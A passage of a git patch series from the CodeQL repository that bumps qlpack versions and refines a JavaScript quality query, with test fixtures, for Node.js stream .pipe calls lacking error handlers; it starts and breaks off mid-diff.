b/cpp/ql/src/qlpack.yml index aa04ab588e4..bdef1897e30 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1 +version: 1.4.2-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index e4e790c02b4..cd4f81e57d6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 68c2a91ba49..75b5716c232 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 6f5c0b15f3a..8404a7c29a6 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7 +version: 5.1.8-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 59800dabbdb..df26e2790d3 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1 +version: 1.2.2-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ce75cf33047..ba1482c8125 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24 +version: 1.0.25-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 49a4a809f13..09e8ba0d027 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6 +version: 4.2.7-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 20e37c247ef..adaa22f4cbd 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1 +version: 1.2.2-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 44271dee46b..c5780e1015e 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.0 +version: 7.3.1-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 2938ce64cb3..bd64dd0d176 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1 +version: 1.5.2-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index d28403132c4..dfead0f953d 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4 +version: 2.6.5-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 986f2be84e6..2fb51f3e092 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1 +version: 1.6.2-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index e19aa4923af..d38442ce1fd 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24 +version: 1.0.25-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index e328f386c56..ce0240ccb88 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8 +version: 4.0.9-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index d29907ecbe8..98db7d0387e 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1 +version: 1.5.2-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index a13854cf27a..430cc1e2fc3 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7 +version: 4.1.8-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index 7247e94124a..f6b5e50f8fc 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1 +version: 1.3.2-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 17dea235850..ff0621bad83 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9 +version: 0.1.10-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index ddd0cee92d5..fcda5b64ede 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9 +version: 0.1.10-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index ea02e74b8d4..0ef97923900 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 9fa1e52fdb3..6b6f61cd239 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index c06bf28103e..2b40a4719fc 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index e8f696ad279..4f0b7759869 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2 +version: 0.0.3-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index b9165e57d30..10f6a89e956 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 84c4b249f57..66614e15d12 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 03bab1e1650..6b5972aabb0 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.0 +version: 2.0.1-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 328719e2a0d..a1a2ee0a7f2 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24 +version: 1.0.25-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index b9b63085e1f..d003a55f26e 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 5b91c29a4de..a9162922bde 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 93bbac0b367..459a6a4a172 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5 +version: 0.0.6-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 82a30f6cec3..91b9a990ba8 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 37b28642685..bedd7763f80 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index 7da687aff4e..ba1cdd04daf 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11 +version: 2.0.12-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 790a260ddad..023376cee30 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 56e0c9d83e0..4b28cce1b1c 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 183fbd25458..efb8506e6ca 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.0 +version: 5.0.1-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 2768bcab8fd..71a570bb9d8 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4 +version: 1.1.5-dev groups: - swift - queries From 5bb29b6e33ceebd152c1e14144c059190cf90d44 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:17:43 +0200 Subject: [PATCH 088/271] Now flags only `.pipe` calls which have an error somewhere down the stream, but not on the source stream. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 33 +++-- .../Quality/UnhandledStreamPipe/test.expected | 19 ++- .../Quality/UnhandledStreamPipe/test.js | 45 ++++--- .../Quality/UnhandledStreamPipe/tst.js | 113 ++++++++++++++++++ 4 files changed, 183 insertions(+), 27 deletions(-) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 913957b4c68..62d3ac67996 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -110,8 +110,11 @@ string getStreamMethodName() { * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. */ -class StreamEventRegistration extends DataFlow::MethodCallNode { - StreamEventRegistration() { this.getMethodName() = getEventHandlerMethodName() } +class ErrorHandlerRegistration extends DataFlow::MethodCallNode { + ErrorHandlerRegistration() { + this.getMethodName() = getEventHandlerMethodName() and + this.getArgument(0).getStringValue() = "error" + } } /** @@ -136,7 +139,12 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe + t.start() and result = pipe.getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = pipeResultTracker(t.continue(), pipe) and + streamFlowStep(result.getALocalUse(), prev) + ) or exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) } @@ -166,7 +174,7 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { exists(DataFlow::PropRef propRef | propRef = pipeResultRef(pipeCall).getAPropertyRead() and - not propRef.getPropertyName() = getStreamPropertyName() + not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] ) } @@ -206,9 +214,8 @@ private DataFlow::SourceNode streamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - exists(StreamEventRegistration handler | - handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and - handler.getArgument(0).getStringValue() = "error" + exists(ErrorHandlerRegistration handler | + handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) ) or hasPlumber(pipeCall) @@ -218,6 +225,8 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. */ predicate hasPlumber(PipeCall pipeCall) { + pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() + or streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } @@ -246,9 +255,19 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { ) } +/** + * Holds if the pipe call destination stream has an error handler registered. + */ +predicate hasErrorHandlerDownstream(PipeCall pipeCall) { + exists(ErrorHandlerRegistration handler | + handler.getReceiver().getALocalSource() = pipeResultRef(pipeCall) + ) +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and + hasErrorHandlerDownstream(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and not hasNonStreamSourceLikeUsage(pipeCall) and not hasNonNodeJsStreamSource(pipeCall) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b4..6d6012c0005 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -5,9 +5,16 @@ | test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:110:11:110:22 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:119:5:119:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:128:5:128:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:146:5:146:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:29:5:29:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index a0db4f6392e..a253f7edf00 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -1,7 +1,7 @@ function test() { { const stream = getStream(); - stream.pipe(destination); // $Alert + stream.pipe(destination).on("error", e); // $Alert } { const stream = getStream(); @@ -16,7 +16,7 @@ function test() { { const stream = getStream(); const s2 = stream; - s2.pipe(dest); // $Alert + s2.pipe(dest).on("error", e); // $Alert } { const stream = getStream(); @@ -42,7 +42,7 @@ function test() { const stream = getStream(); stream.on('error', handleError); const stream2 = stream.pipe(destination); - stream2.pipe(destination2); // $Alert + stream2.pipe(destination2).on("error", e); // $Alert } { const stream = getStream(); @@ -57,13 +57,13 @@ function test() { const stream = getStream(); stream.on('error', handleError); const stream2 = stream.pipe(destination); - stream2.pipe(destination2); // $Alert + stream2.pipe(destination2).on("error", e); // $Alert } { // Error handler on destination instead of source const stream = getStream(); const dest = getDest(); dest.on('error', handler); - stream.pipe(dest); // $Alert + stream.pipe(dest).on("error", e); // $Alert } { // Multiple aliases, error handler on one const stream = getStream(); @@ -76,7 +76,7 @@ function test() { const stream = getStream(); const s2 = stream.pipe(destination1); stream.on('error', handleError); - s2.pipe(destination2); // $Alert + s2.pipe(destination2).on("error", e); // $Alert } { // Handler registered via .once const stream = getStream(); @@ -91,7 +91,7 @@ function test() { { // Handler registered for unrelated event const stream = getStream(); stream.on('close', handleClose); - stream.pipe(dest); // $Alert + stream.pipe(dest).on("error", e); // $Alert } { // Error handler registered after pipe, but before error const stream = getStream(); @@ -106,14 +106,17 @@ function test() { } { // Pipe in a function, error handler not set const stream = getStream(); - function doPipe(s) { s.pipe(dest); } // $Alert + function doPipe(s) { + f = s.pipe(dest); // $Alert + f.on("error", e); + } doPipe(stream); } { // Dynamic event assignment const stream = getStream(); const event = 'error'; stream.on(event, handleError); - stream.pipe(dest); // $SPURIOUS:Alert + stream.pipe(dest).on("error", e); // $SPURIOUS:Alert } { // Handler assigned via variable property const stream = getStream(); @@ -122,12 +125,12 @@ function test() { stream.pipe(dest); } { // Pipe with no intermediate variable, no error handler - getStream().pipe(dest); // $Alert + getStream().pipe(dest).on("error", e); // $Alert } { // Handler set via .addListener synonym const stream = getStream(); stream.addListener('error', handleError); - stream.pipe(dest); + stream.pipe(dest).on("error", e); } { // Handler set via .once after .pipe const stream = getStream(); @@ -140,7 +143,11 @@ function test() { } { // Long chained pipe without error handler const stream = getStream(); - stream.pause().setEncoding('utf8').resume().pipe(writable); // $Alert + stream.pause().setEncoding('utf8').resume().pipe(writable).on("error", e); // $Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').on("error", e).resume().pipe(writable).on("error", e); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); @@ -172,7 +179,7 @@ function test() { } { // Member access on a stream after pipe const notStream = getNotAStream(); - const val = notStream.pipe(writable).readable; // $Alert + const val = notStream.pipe(writable).on("error", e).readable; // $Alert } { // Method access on a non-stream after pipe const notStream = getNotAStream(); @@ -182,7 +189,7 @@ function test() { const fs = require('fs'); const stream = fs.createReadStream('file.txt'); const copyStream = stream; - copyStream.pipe(destination); // $Alert + copyStream.pipe(destination).on("error", e); // $Alert } { const notStream = getNotAStream(); @@ -211,6 +218,16 @@ function test() { const p = plumber(); getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest); + } { const notStream = getNotAStream(); notStream.pipe(getStream(),()=>{}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js new file mode 100644 index 00000000000..01ad872a748 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -0,0 +1,113 @@ +const fs = require('fs'); +const zlib = require('zlib'); + +function foo(){ + const source = fs.createReadStream('input.txt'); + const gzip = zlib.createGzip(); + const destination = fs.createWriteStream('output.txt.gz'); + source.pipe(gzip).pipe(destination); // $Alert + gzip.on('error', e); +} +class StreamWrapper { + constructor() { + this.outputStream = getStream(); + } +} + +function zip() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let stream = wrapper.outputStream; + stream.on('error', e); + stream.pipe(zipStream); + zipStream.on('error', e); +} + +function zip1() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.on('error', e); + zipStream.on('error', e); +} + +function zip2() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let outStream = wrapper.outputStream.pipe(zipStream); // $Alert + outStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $Alert + zipStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let source = getStream(); + source.pipe(wrapper.outputStream); // $MISSING:Alert + wrapper.outputStream.on('error', e); +} + +function zip4() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + let output = stream.pipe(zipStream); // $Alert + output.on('error', e); +} + +class StreamWrapper2 { + constructor() { + this.outputStream = getStream(); + this.outputStream.on('error', e); + } + +} +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper2(); + wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} + +class StreamWrapper3 { + constructor() { + this.stream = getStream(); + } + pipeIt(dest) { + return this.stream.pipe(dest); + } + register_error_handler(listener) { + return this.stream.on('error', listener); + } +} + +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); // $MISSING:Alert + zipStream.on('error', e); +} +function zip6() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); + wrapper.register_error_handler(e); + zipStream.on('error', e); +} + +function registerErr(stream, listerner) { + stream.on('error', listerner); +} + +function zip7() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + registerErr(stream, e); + stream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} From f8f5d8f56173976fe8e828297ef05e9e0897d592 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:18:39 +0200 Subject: [PATCH 089/271] Exclude `.pipe` detection which are in a test file. --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 62d3ac67996..0c9e23107d6 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -12,6 +12,7 @@ */ import javascript +import semmle.javascript.filters.ClassifyFiles /** * A call to the `pipe` method on a Node.js stream. @@ -270,6 +271,7 @@ where hasErrorHandlerDownstream(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and not hasNonStreamSourceLikeUsage(pipeCall) and - not hasNonNodeJsStreamSource(pipeCall) + not hasNonNodeJsStreamSource(pipeCall) and + not isTestFile(pipeCall.getFile()) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." From 2e2b9a9d6372272cab206277da095ef5e31ad7e3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:23:55 +0200 Subject: [PATCH 090/271] Make predicates private and clarify stream reference naming. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 76 ++++++++++--------- 1 file changed, 40 insertions(+), 36 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 0c9e23107d6..f5d9da6bb58 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -37,12 +37,15 @@ class PipeCall extends DataFlow::MethodCallNode { * Gets a reference to a value that is known to not be a Node.js stream. * This is used to exclude pipe calls on non-stream objects from analysis. */ -DataFlow::Node getNonNodeJsStreamType() { +private DataFlow::Node getNonNodeJsStreamType() { result = getNonStreamApi().getAValueReachableFromSource() } -//highland, arktype execa -API::Node getNonStreamApi() { +/** + * Gets API nodes from modules that are known to not provide Node.js streams. + * This includes reactive programming libraries, frontend frameworks, and other non-stream APIs. + */ +private API::Node getNonStreamApi() { exists(string moduleName | moduleName .regexpMatch([ @@ -65,12 +68,12 @@ API::Node getNonStreamApi() { * Gets the method names used to register event handlers on Node.js streams. * These methods are used to attach handlers for events like `error`. */ -string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } +private string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } /** * Gets the method names that are chainable on Node.js streams. */ -string getChainableStreamMethodName() { +private string getChainableStreamMethodName() { result = [ "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", @@ -81,14 +84,14 @@ string getChainableStreamMethodName() { /** * Gets the method names that are not chainable on Node.js streams. */ -string getNonchainableStreamMethodName() { +private string getNonchainableStreamMethodName() { result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] } /** * Gets the property names commonly found on Node.js streams. */ -string getStreamPropertyName() { +private string getStreamPropertyName() { result = [ "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", @@ -103,7 +106,7 @@ string getStreamPropertyName() { /** * Gets all method names commonly found on Node.js streams. */ -string getStreamMethodName() { +private string getStreamMethodName() { result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] } @@ -123,7 +126,7 @@ class ErrorHandlerRegistration extends DataFlow::MethodCallNode { * Connects destination streams to their corresponding pipe call nodes. * Connects streams to their chainable methods. */ -predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { +private predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { exists(PipeCall pipe | streamNode = pipe.getDestinationStream() and relatedNode = pipe @@ -139,22 +142,22 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) /** * Tracks the result of a pipe call as it flows through the program. */ -private DataFlow::SourceNode 